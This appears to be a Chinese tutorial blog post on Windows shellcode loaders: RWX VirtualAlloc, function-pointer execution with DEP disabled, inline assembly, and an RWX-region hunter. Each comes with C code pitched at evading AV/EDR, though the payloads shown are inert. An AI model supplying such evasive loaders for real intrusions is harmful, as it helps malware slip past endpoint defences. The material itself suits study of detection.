抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

今天来学习一下shellcode的各种加载方式、

动态内存分配

概念

在进程的内存空间中,你有没有想过执行一段shellcode需要什么?为了执行你的shellcode,需要完成三个检查:

  • 1.内存是否被标记为可执行的虚拟地址空间,否则DEP将抛出内存访问冲突异常;
  • 2.是否将shellcode放入了该内存空间;
  • 3.是否将代码的执行流定位到该内存空间。

完成这三步可以使用API来理解,首先VirtualAlloc分配出一片可读、可写可执行的内存,将shellcode使用RtlMoveMemory之类的函数复制到该内存空间,最后创建一个指向新分配内存区域的线程来执行shellcode

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <windows.h>
int main()
{
char shellcode[] = "\xcc\xcc\xcc\xcc\x41\x41\x41\x41";
// 分配内存
LPVOID addressPointer = VirtualAlloc(NULL, sizeof(shellcode), 0x3000, 0x40);
// 复制shellcode
RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));
// 新建线程指向新分配的内存空间
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);
// 休眠一秒钟等待线程
Sleep(1000);
return 0;
}

值得注意的是,虽然这段代码将 shellcode 拷贝到了堆内存中,但这只是为了将其执行(因为已经赋予这片内存空间RWX权限了)。默认情况下受到Windows XP中引入的系统范围数据执行保护(DEP)策略的保护。对于启用DEP的进程,这将防止在此内存区域执行代码。为了克服这个障碍,我们要求系统将所需的内存区域标记为RWX。这是通过将VirtualAlloc的最后一个参数指定为0x40来实现的,就相当PAGE_EXECUTE_READWRITE

缺点

WinAPI调用的使用很容易被成熟的AV/EDR系统检测到。

通过函数指针分配

概念

函数指针是指向函数的指针变量。在C语言中,函数名实际上就是该函数在内存中的地址,因此可以将函数名赋值给指针变量,从而使得该指针变量指向该函数。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <windows.h>
int main()
{
char buf[] = "\xcc\xcc\xcc\xcc";
//定义函数指针func
int (*func)();
//将buf的地址类型强转为函数指针,赋值给func
func = (int (*)()) (void*)buf;
(int)(*func)();


// 另一个函数指针运行方式
// (*(int(*)()) buf)();
// sleep for a second
Sleep(1000);
return 0;
}

这段代码就实现了将shellcode的地址作为函数去执行。但shellcode此时在内存作为调试指令,并没有尝试执行任何非法内存区域的代码,所以也不会触发DEP。如果shellcode中包含了真正的恶意代码,可能会尝试执行或修改内存中的敏感区域,这时应该就会触发DEP。我们可以通过设置/NXCOMPAT:NO标志来简单地为已编译的可执行文件禁用DEP(对于VisualStudio,可以在高级链接器选项中设置)。这样,shellcode就会被顺利的执行。

通过这种加载方式,可以用来避免AV/DER的检测,并且这种方式加载,shellcode会在栈上作为局部变量分配,栈是可读可写的,就允许我们在这个内存区域中对shellcode进行加密。

缺点

DEP会阻止栈中代码的执行,需要在没有DEP支持的情况下编译代码。

.Text段加载

概念

代码段存在可执行权限,所以无需担心DEP抛出异常,问题在于如何将shellcode放置和执行在代码段。首先API函数不可用,因为代码段是没有写权限的;函数指针也用不上,将位于数据段的shellcode转为函数指针来执行也依然在数据段中。那么还有内联汇编这个办法可以使用。

代码:

1
2
3
4
5
6
#include <Windows.h>
int main() {
asm(".byte 0xde,0xad,0xbe,0xef,0x00\n\t"
"ret\n\t");
return 0;
}

此代码是项目中的一个demo,使用Gcc编译环境就可以编译运行了。

因为没有API调用,所以可以用来避免AV/EDR的检测。

缺点

缺点很明显,因为没有可写权限,所以没有加密过的shellcode很容易就会被检测出来。为了避免被检测可以在内联汇编中进行代码的加密和解密。

RWX-Hunter

概念

意思很明显,就是去寻找内存中被标记为R-W-X的区域,既避免了使用高危API开辟空间,也无需担心会触发DEP警告。但这里还有很多问题需要考虑。

  • 如何查找可执行的内存区域;
  • 如何将shellcode放入此内存;
  • 如何将代码执行流运行到此处。

进程4G的虚拟内存,范围从0x00000000到0x7fffffff,搜索范围就可以确定下来,用VirtualQueryEx查询从0开始的内存信息,接下来判断是否为可读可写可执行的区域,如果找到就可以写入shellcode,我们可以用API来解决写入这个问题,或者使用函数指针也可以。最后执行也可以考虑API函数或者函数指针来调用shellcode执行。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>

LPVOID Hunt(DWORD processID)
{
HMODULE hMod;
DWORD cbNeeded;
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
//获取目标进程句柄
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, processID);
if (EnumProcessModules(process, &hMod, sizeof(hMod),
&cbNeeded))
{
//枚举指定进程的模块,并获取每个模块的基本信息
GetModuleBaseName(process, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
if (process) {
_tprintf(TEXT("[*] Searching in %s (PID: %u)..."), szProcessName, processID);

long MaxAddress = 0x7fffffff;
long address = 0;
int c = 0;
do
{
//MEMORY_BASIC_INFORMATION 结构体m
MEMORY_BASIC_INFORMATION m;
//VirtualQueryEx 函数来查询指定进程中从 address 开始的内存信息,并将结果存储在结构体m
int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));
//判断m.AllocationProtect 是否等于PAGE_EXECUTE_READWRITE
if (m.AllocationProtect == PAGE_EXECUTE_READWRITE)
{
printf("RWX found at 0x%x\n", m.BaseAddress);
return m.BaseAddress;
}
else if( c > 50000 ){
printf("Still Hunting");
c = 0;
}
else {
c += 1;
}
//如果找到该空间,则返回该空间
if (address == (long)m.BaseAddress + (long)m.RegionSize)
break;
//否则将下一个搜索地址设置为下一个存储区域(基地址+内存区域)。
address = (long)m.BaseAddress + (long)m.RegionSize;
} while (address <= MaxAddress);
printf("Nope\n");
}
else {
_tprintf(TEXT("[*] No Access for %s (PID: %u) \n"), szProcessName, processID);
}
return 0;
}


void Exec(LPVOID address, DWORD processID)
{
printf("[*] Exec Shellcode... ");
// msfvenom -p windows/x64/exec CMD='"C:\Windows\System32\cmd.exe"' EXITFUNC=thread --platform Windows -f c
char shellcode[] = "";
//打开当前进程
HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
//写入shellcode
WriteProcessMemory(procHandle, address, shellcode, sizeof(shellcode), 0);
//运行shellcode
hThread = CreateThread(0, 0, (LPVOID)(address), NULL, 0, 0);
printf("Done \n");
}

int main()
{
printf("Starting Search \n");
//搜索的起始地址
LPVOID spaceAddress = 0;
//当前进程PID
DWORD currentProc = GetCurrentProcessId();
printf("Current PID: %d", (int)currentProc);
//获取RWX地址
spaceAddress = Hunt(currentProc);
if (spaceAddress > 0) {
//执行shellcode
Exec(spaceAddress, currentProc);
}
else{
printf("Error!");
}
Sleep(10000);
return 0;
}

代码借鉴于https://github.com/csandker/inMemoryShellcode.git

缺点

无法绕过代码执行时的高危API函数,但也许在关联检查时可以绕过一些AV/EDR。再进阶一下,使用API隐藏技术进行API的调用,或许可以免杀绕过。